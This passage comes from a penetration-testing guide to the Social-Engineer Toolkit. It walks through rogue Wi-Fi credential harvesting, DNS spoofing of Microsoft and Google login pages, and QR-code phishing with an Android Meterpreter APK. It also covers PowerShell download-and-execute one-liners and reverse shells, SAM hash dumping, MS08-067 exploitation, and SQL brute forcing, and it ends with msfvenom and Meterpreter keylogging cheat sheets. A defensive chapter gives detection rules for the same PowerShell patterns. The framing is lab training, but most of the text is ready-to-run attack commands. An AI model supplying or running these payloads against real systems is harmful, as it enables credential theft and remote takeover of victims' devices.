 2) Wireless Attack Vector without airbase-ng
 99) Return
```

## 11.2 Prerequisites

- A wireless adapter that supports AP (master) mode — check with: `iw list | grep -A 10 'Supported interface modes'`
- hostapd and dnsmasq installed: `sudo apt-get install hostapd dnsmasq`
- Internet-connected second interface (eth0) for optional internet sharing

## 11.3 Setting Up the Rogue AP

```
> 1 (Wireless Attack Vector (hostapd))

Wireless interface to use for AP [wlan0]: wlan0
SSID for the rogue AP [FreeWiFi]: CorpGuest_WiFi
AP Channel [6]: 6
[*] Configuring hostapd...
[*] Configuring dnsmasq (DHCP + DNS)...
[*] Starting rogue AP...
[*] AP is broadcasting on SSID: CorpGuest_WiFi
```

## 11.4 Captive Portal Credential Harvesting

All HTTP traffic from victims connected to the AP is redirected to SET's credential harvester. Victims see a login page asking for their 'network credentials.' When they submit:

```
[*] WE GOT A HIT!
```

```
POSSIBLE USERNAME FIELD FOUND: username => johndoe
POSSIBLE PASSWORD FIELD FOUND: password => WiFIP@ss2026
```

## 11.5 DNS Spoofing with the Rogue AP

Since dnsmasq is the DNS server for all AP clients, you can resolve any domain to your attacker IP — redirecting victims to cloned sites automatically:

```
Edit /etc/dnsmasq.conf and add:
address=/login.microsoft.com/192.168.56.101
address=/accounts.google.com/192.168.56.101

sudo systemctl restart dnsmasq
```

## CHAPTER 12

# QRCode Generator Attack Vector

## 12.1 Overview

QR codes are widely trusted. This module generates a QR code that encodes a malicious URL. When scanned by a victim's smartphone or camera-equipped device, it opens the URL in a browser — which may be a credential harvester, a malicious APK download page, or any other SET-hosted attack.

```
sudo setoolkit
> 1 (Social-Engineering Attacks)
> 8 (QRCode Generator Attack Vector)

Enter the URL you want to embed in the QRCode: http://192.168.56.101/
[*] Generating QR code...
[*] QR code saved to: /root/.set/reports/qrcode_attack.png
```

## 12.2 Typical Attack Flow

20. Start a Credential Harvester or HTA attack on your SET web server (Chapter 6 or 6.7).
21. Generate a QR code pointing to `http://YOUR_IP/` using this module.
22. Print the QR code or display it on a monitor.
23. Physically place it in a target environment (conference room, office notice board, café) or send it by email/messaging app.
24. When a victim scans it, their device opens your malicious page.

## 12.3 Android Payload via QR Code

Create an Android Meterpreter APK and host it, then embed the download URL in a QR code:

```
Generate Android payload with msfvenom
msfvenom -p android/meterpreter/reverse_tcp \
 LHOST=192.168.56.101 LPORT=4444 R > /var/www/html/update.apk

Embed the download URL in a QR code
In SET: http://192.168.56.101/update.apk
```



### Social Engineering Angle

Print the QR code with a caption like 'Scan to claim your free coffee voucher' or 'Conference Wi-Fi — scan to connect'. Context dramatically increases scan rates.



## CHAPTER 13

# PowerShell Attack Vectors

## 13.1 Overview

PowerShell is a powerful scripting engine built into every modern Windows system. It is signed by Microsoft, whitelisted by default, and can execute arbitrary code downloaded from the internet — making it a favourite delivery vehicle for both attackers and penetration testers.

```
sudo setoolkit
> 1 (Social-Engineering Attacks)
> 9 (PowerShell Attack Vectors)

 1) PowerShell Alphanumeric Shellcode Injector
 2) PowerShell Reverse Shell
 3) PowerShell Bind Shell
 4) PowerShell Dump SAM Database (in memory)
 99) Return
```

## 13.2 Option 1 — PowerShell Alphanumeric Shellcode Injector

This is the most powerful option. SET generates a multi-stage PowerShell script: the first stage downloads and executes a Meterpreter shellcode injector entirely in memory — never touching disk, bypassing many AV solutions.

```
> 1 (PowerShell Alphanumeric Shellcode Injector)

IP address for the payload (LHOST): 192.168.56.101
Port for the payload (LPORT) [443]: 443

[*] Generating alphanumeric shellcode...
[*] Generating powershell injection code...
[*] Payload written to: /root/.set/reports/x86_powershell_injection.txt
[*] PowerShell script ready at: http://192.168.56.101/x86_powershell_injection.txt
```

Start your Metasploit listener, then deliver this one-liner to the victim — via email body, USB, shared drive, or chat:

```
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object
Net.WebClient).DownloadString('http://192.168.56.101/x86_powershell_injection.txt')"
```

## 13.3 Option 2 — PowerShell Reverse Shell

A pure PowerShell reverse shell — no Meterpreter, no binary, no disk writes. Useful when Metasploit is blocked but raw TCP is not:

```
> 2 (PowerShell Reverse Shell)

LHOST: 192.168.56.101
LPORT: 4444

[*] Reverse shell script written to /root/.set/reports/powershell_reverse.ps1
[*] Listener started on port 4444.
```

Run the script on the victim machine:

```
powershell -ExecutionPolicy Bypass -File powershell_reverse.ps1
```

## 13.4 Option 4 — PowerShell SAM Dump

Extracts Windows credential hashes from the SAM database entirely in memory using a PowerShell implementation of hashdump. Requires local admin privileges:

```
> 4 (PowerShell Dump SAM Database)

[*] Generating SAM dumper script...
[*] Script: /root/.set/reports/powershell_sam_dump.ps1

Run on victim with admin rights:
powershell -ExecutionPolicy Bypass -File powershell_sam_dump.ps1
```

Hashes are returned in NTLM format and can be cracked with hashcat:

```
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
```

## CHAPTER 14

# Fast-Track Penetration Testing

## 14.1 Overview

Fast-Track is a collection of automated exploitation scripts bundled with SET. It provides rapid exploitation of well-known vulnerabilities without manual Metasploit configuration. Select it from the main menu:

```
sudo setoolkit
> 2 (Penetration Testing (Fast-Track))

1) Microsoft SQL Bruter
2) Custom Exploits
3) SCCM Attack Vector
4) Dell DRAC/Chassis Default Checker
5) RideIT! RDP Attack
6) MS08-067 - SMB Exploitation (Metasploit Required)
7) MSSQL Injector
8) MSF Update (Metasploit)
99) Return
```

## 14.2 MS08-067 — EternalBlue-era SMB Exploitation

MS08-067 is a classic Windows Server Service vulnerability affecting Windows XP, 2003, Vista, and Server 2008 (unpatched). It allows unauthenticated remote code execution:

```
> 6 (MS08-067 - SMB Exploitation)

Target IP address: 192.168.56.103
LHOST for reverse payload: 192.168.56.101
LPORT: 4444

[*] Launching Metasploit with exploit/windows/smb/ms08_067_netapi...
[*] Sending exploit...
[*] Meterpreter session 1 opened.
```



### Lab Use Only

MS08-067 targets must be unpatched lab VMs (e.g. Windows XP SP2). All patched modern systems are immune.

## 14.3 Microsoft SQL Bruter

Brute-forces the Microsoft SQL Server sa (System Administrator) account:

```
> 1 (Microsoft SQL Bruter)

Target IP: 192.168.56.104
Target Port [1433]: 1433
Wordlist [default]: /usr/share/wordlists/fasttrack.txt

[*] Trying password: password [FAILED]
[*] Trying password: sa [FAILED]
[*] Trying password: 1234 [SUCCESS]
[*] SA password found: 1234
```

## CHAPTER 15

## Third-Party Modules

### 15.1 Overview

SET supports community-contributed third-party modules accessible from the main menu option 3. These extend SET's capabilities with specialised attacks.

```
sudo setoolkit
> 3 (Third Party Modules)

 1) Ratte HTTP Tunneling Tool
 2) BrowserRider
 3) BeEF Integration
 99) Return
```

### 15.2 BeEF Framework Integration

BeEF (Browser Exploitation Framework) hooks victims' browsers through a JavaScript snippet. SET's web attack modules can automatically inject the BeEF hook into cloned pages:

25. Install BeEF: `sudo apt-get install beef-xss`
26. Start BeEF: `cd /usr/share/beef-xss && sudo ./beef`
27. Note the hook URL, e.g. `http://192.168.56.101:3000/hook.js`
28. In SET's website attack, select 'Metasploit Browser Exploit Method' and use the BeEF hook URL
29. When a victim visits the cloned page, their browser is hooked in BeEF's control panel

### 15.3 Ratte HTTP Tunneling Tool

Ratte allows you to tunnel a reverse shell over HTTP port 80, bypassing outbound firewall rules that block non-HTTP traffic. Ideal for environments where only web traffic is permitted.

```
> 1 (Ratte HTTP Tunneling Tool)

LHOST: 192.168.56.101
LPORT [80]: 80

[*] Ratte agent created: /root/.set/reports/ratte_agent.exe
[*] HTTP tunnel listener started.
```

## CHAPTER 16

# SET Configuration Deep-Dive

## 16.1 Complete set.config Reference

Open the configuration file:

```
sudo nano /etc/setoolkit/set.config
```

Parameter	Values & Description
<b>METASPLOIT_PATH</b>	Path to msfconsole. Default: /usr/bin/msfconsole
<b>AUTO_DETECT</b>	ON/OFF — auto-detect external IP via ipify.org
<b>SENDMAIL</b>	ON/OFF — use local sendmail binary
<b>POSTFIX</b>	ON/OFF — use Postfix MTA
<b>EMAIL_PROVIDER</b>	GMAIL / SENDMAIL / POSTFIX / CUSTOM
<b>SMTP_SERVER</b>	SMTP hostname, e.g. smtp.gmail.com
<b>SMTP_PORT</b>	SMTP port, e.g. 587 (TLS) or 465 (SSL)
<b>SMTP_USERNAME</b>	SMTP authentication username
<b>SMTP_PASSWORD</b>	SMTP authentication password
<b>HARVESTER_LOG</b>	Path for credential harvest logs
<b>APACHE_SERVER</b>	ON/OFF — use Apache instead of SET's built-in server
<b>APACHE_DIRECTORY</b>	Apache web root path
<b>WEB_PORT</b>	Port for web attacks. Default: 80
<b>NAT_REDIRECT</b>	ON/OFF — auto-configure iptables for NAT traversal
<b>SELF_SIGNED_APPLET</b>	ON/OFF — auto-sign Java applets
<b>JAVA_CACHE_URL</b>	URL for cached Java exploit
<b>PAYLOADS_PATH</b>	Directory for generated payloads
<b>WEBATTACK_EMAIL</b>	From address for web attack emails
<b>WEBATTACK_FQDN</b>	Fully qualified domain name for web attacks
<b>DISABLE_SET_PROMPTS</b>	ON/OFF — disable interactive confirmations
<b>METASPLOIT_HOME</b>	Metasploit home directory

## 16.2 Configuring NAT Redirect

If SET runs behind a NAT gateway, enable NAT\_REDIRECT to automatically add iptables rules that forward traffic to SET's listener:

```
In set.config
NAT_REDIRECT=ON

SET automatically runs:
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 80
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 443
```

## 16.3 Tuning the Web Server Port

If port 80 is already in use (by Apache or nginx), change SET's web port:

```
In set.config
WEB_PORT=8080

Deliver the link to victims with the port included:
http://192.168.56.101:8080/
```

## CHAPTER 17

# Logging, Reporting & Evidence Collection

## 17.1 Where SET Stores Data

Location	Contents
<code>/root/.set/reports/</code>	Credential harvest logs, payload files, Arduino sketches
<code>/root/.set/webattack/</code>	Cloned website files
<code>/root/.set/logs/</code>	SET session logs
<code>/var/log/apache2/</code>	Apache access/error logs (if Apache mode enabled)

## 17.2 Reading Credential Harvest Logs

```
View the latest harvest report (XML)
cat /root/.set/reports/harvester_$(date +%Y-%m-%d)_01.xml

View plain-text version
cat /root/.set/reports/harvester_$(date +%Y-%m-%d)_01.txt
```

## 17.3 Generating a HTML Report

After a credential harvest attack, press Ctrl+C to stop the web server. SET automatically saves the report. Convert it to HTML for professional presentation:

```
Install xmlstarlet for XML processing
sudo apt-get install xmlstarlet -y

Basic XML-to-HTML conversion
xmlstarlet fo /root/.set/reports/harvester_*.xml
```

## 17.4 Documenting a Pentest Engagement

For professional penetration testing reports, collect and document:

- Timestamp of each credential captured (included in SET logs)
- Source IP of the victim who submitted credentials
- The exact phishing email or URL delivered
- Screenshots of the cloned page and the Meterpreter session
- Network traffic capture (tcpdump) as supporting evidence



```
Capture traffic during an attack
tcpdump -i eth0 -w /root/capture_$(date +%Y%m%d).pcap port 80 or port 443
```

## CHAPTER 18

# Defensive Countermeasures & Detection

## 18.1 Defending Against Phishing

Control	Description
Email Gateway Filtering	Deploy Proofpoint, Mimecast, or Microsoft Defender for Office 365 to scan attachments and URLs
DMARC / DKIM / SPF	Email authentication records that block domain spoofing
MFA Everywhere	Even if credentials are harvested, MFA prevents account compromise
Security Awareness Training	Regular phishing simulation exercises (GoPhish) to train users
Browser Isolation	Remote browser isolation prevents credential harvesting and drive-by downloads
URL Rewriting	Rewrite all links in emails to pass through a secure proxy before loading

## 18.2 Detecting SET Attacks

Security teams can detect SET-based attacks using the following indicators:

### Network Indicators

- HTTP POST requests to an unexpected IP address — classic sign of credential harvesting
- Outbound connections to uncommon ports (4444, 8080, 1234) — Meterpreter reverse shells
- Encoded PowerShell commands in web traffic (IEX, DownloadString, -EncodedCommand)
- Large outbound TCP streams on port 443 to non-corporate IPs — HTTPS Meterpreter

### Host Indicators

- mshta.exe spawning child processes — HTA attack execution
- powershell.exe with -WindowStyle Hidden -ExecutionPolicy Bypass flags
- Unexpected processes spawned by Adobe Acrobat Reader or Microsoft Word
- New scheduled tasks or startup entries created by unknown processes

### Email Indicators

- From address domain does not match the display name

- SPF/DKIM/DMARC failures in email headers
- Links that redirect through multiple hops before reaching a login page
- PDF or Office files with embedded executables or macros

## 18.3 SIEM Detection Rules (Splunk / Elastic)

```
Splunk — detect encoded PowerShell
index=windows EventCode=4688
| where like(lower(CommandLine), "%encodedcommand%")
 OR like(lower(CommandLine), "%downloadstring%")

Elastic — detect Meterpreter reverse shell
event.code:4688 AND process.name:"powershell.exe"
AND process.command_line:(*IEX* OR *DownloadString* OR *EncodedCommand*)

Detect SET credential harvester POST
index=proxy method=POST
| where like(url, "%.php") AND bytes_out < 500 AND bytes_in > 100
```

## 18.4 Phishing Simulation with GoPhish

GoPhish is an open-source phishing simulation platform that complements SET for authorised awareness training:

```
Install GoPhish
wget https://github.com/gophish/gophish/releases/latest/download/gophish-linux-64bit.zip
unzip gophish-linux-64bit.zip
chmod +x gophish
sudo ./gophish
```

GoPhish provides click-rate tracking, credential capture statistics, and detailed per-user reporting — perfect for organisational security awareness programmes.

## CHAPTER 19

# Real-World Lab Scenarios

---

## Scenario 1 — Corporate Credential Harvest

### Objective

Simulate an attacker cloning an internal HR portal and harvesting credentials of employees.

### Setup

- Attacker: Kali Linux VM — 192.168.56.101
- Victim: Windows 10 VM — 192.168.56.102 (browser: Edge or Chrome)
- Network: VMware Host-Only (VMnet1)

### Steps

30. Launch SET: `sudo setoolkit`
31. Navigate: 1 > 2 > 3 > 2 (Credential Harvester > Site Cloner)
32. Set POST-back IP: 192.168.56.101
33. Clone URL: `http://192.168.56.102/hr-portal` (or any lab web app)
34. On victim VM, open browser and navigate to `http://192.168.56.101`
35. Submit dummy credentials on the cloned page
36. Observe credentials captured in SET terminal and `/root/.set/reports/`

## Scenario 2 — USB Drop Attack

### Objective

Simulate an employee plugging in a found USB drive and executing the payload.

### Steps

37. Generate payload: `sudo setoolkit > 1 > 3 > 2` (Infectious Media > Standard MSF Executable)
38. Set `LHOST=192.168.56.101`, `LPORT=4444`, choose Windows Meterpreter `Reverse_TCP`
39. Copy `/root/.set/autorun/` contents to a USB drive
40. Start listener: `msfconsole > use multi/handler > set PAYLOAD, LHOST, LPORT > run`
41. On victim VM, plug in USB and double-click `payload.exe` (rename to match a believable filename first)
42. Observe Meterpreter session open in `msfconsole`
43. Run `sysinfo`, `getuid`, screenshot to confirm access

## Scenario 3 — Spear-Phishing with Document Payload

### Objective

Send a targeted phishing email with a malicious PDF attachment to a lab email account.

### Setup

Install a local mail server for testing:

```
sudo apt-get install postfix dovecot-imapd -y
Configure postfix for local delivery only (lab domain: lab.local)
```

### Steps

44. Generate PDF payload: 1 > 1 > 2 > 5 (Spear-Phishing > FileFormat > PDF Embedded EXE)
45. Create email template: 1 > 1 > 3
46. Send email: 1 > 1 > 1 > choose custom template > attach PDF > send to victim@lab.local
47. On victim VM, open the email in Thunderbird and open the PDF
48. Observe Meterpreter session in msfconsole

## Scenario 4 — PowerShell In-Memory Attack

### Objective

Deliver a fileless payload via a PowerShell one-liner — simulating a malicious link in a chat message.

### Steps

49. Generate payload: 1 > 9 > 1 (PowerShell > Alphanumeric Shellcode Injector)
50. Set LHOST=192.168.56.101, LPORT=443
51. Note the generated one-liner from /root/.set/reports/x86\_powershell\_injection.txt
52. Start listener: msfconsole > use multi/handler > set PAYLOAD windows/meterpreter/reverse\_https > run
53. On victim VM, open PowerShell (as standard user) and paste the one-liner
54. Observe in-memory Meterpreter session — no files written to disk

## APPENDIX A — Useful Commands Cheat Sheet

---

### SET Launch & Navigation

```
sudo setoolkit # Launch SET
sudo setoolkit --version # Check version
cd /opt/setoolkit && git pull # Update SET
```

### msfvenom Quick Reference

```
Windows Meterpreter EXE
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe > shell.exe

Windows HTTPS (evades basic firewalls)
msfvenom -p windows/meterpreter/reverse_https LHOST=IP LPORT=443 -f exe >
shell.exe

Linux ELF
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf >
shell.elf

Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=4444 R > app.apk

PowerShell one-liner (Base64)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f psh-cmd
```

### Metasploit Handler

```
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 4444
set ExitOnSession false
exploit -j
```

### Meterpreter Post-Exploitation

```
sysinfo # OS and hostname
getuid # Current user
getsystem # Attempt privilege escalation
hashdump # Dump NTLM hashes
screenshot # Desktop screenshot
keyscan_start # Start keylogger
keyscan_dump # Dump keylog buffer
run post/windows/gather/credentials/credential_collector
run post/multi/recon/local_exploit_suggester
```

## Network Utilities

```
ip a # Show interfaces
nmap -sV -p 1-65535 192.168.56.0/24 # Full port scan
netstat -tlnp # Listening ports
tcpdump -i eth0 -w capture.pcap # Packet capture
```

## APPENDIX B — Glossary

Term	Definition
<b>SET</b>	Social Engineering Toolkit — open-source penetration testing framework targeting human attack surfaces
<b>Phishing</b>	Deceptive communication (usually email) designed to trick recipients into revealing credentials or executing malware
<b>Spear-Phishing</b>	Highly targeted phishing directed at a specific individual, using personalised information
<b>Credential Harvesting</b>	Capturing usernames and passwords from victims who submit them to a cloned login page
<b>Meterpreter</b>	Advanced Metasploit payload providing an interactive shell with extensive post-exploitation capabilities
<b>Payload</b>	Malicious code that runs on the victim's machine after successful exploitation
<b>Reverse Shell</b>	A connection initiated by the victim machine back to the attacker, bypassing inbound firewall rules
<b>HID</b>	Human Interface Device — keyboards and mice. Arduino/Teensy HID attacks emulate a keyboard to type commands
<b>OSINT</b>	Open Source Intelligence — gathering target information from publicly available sources
<b>Social Engineering</b>	Manipulating people into performing actions or divulging information through psychological influence
<b>RAT</b>	Remote Access Trojan — malware that provides a covert remote administration channel to an attacker
<b>msfvenom</b>	Metasploit's command-line payload generator and encoder
<b>LHOST</b>	Local Host — the attacker's IP address, used as the callback address in reverse payloads
<b>LPORT</b>	Local Port — the port on which the attacker's listener waits for reverse connections
<b>AV Evasion</b>	Techniques used to prevent antivirus software from detecting malicious payloads
<b>Tabnabbing</b>	Attack exploiting browser-tab inactivity to silently replace a page with a phishing clone
<b>HTA</b>	HTML Application — a Windows file type (.hta) that runs with elevated privileges under mshta.exe
<b>DMARC</b>	Domain-based Message Authentication, Reporting & Conformance — email authentication standard that prevents domain spoofing



Term	Definition
NTLM Hash	Windows password hash format. Crackable offline with tools such as Hashcat or John the Ripper
Rogue AP	Unauthorised wireless access point set up to intercept traffic from devices that connect to it
BeEF	Browser Exploitation Framework — hooks browsers via JavaScript to enable browser-side attack execution
CTF	Capture the Flag — competitive cybersecurity challenge used for legal skills practice

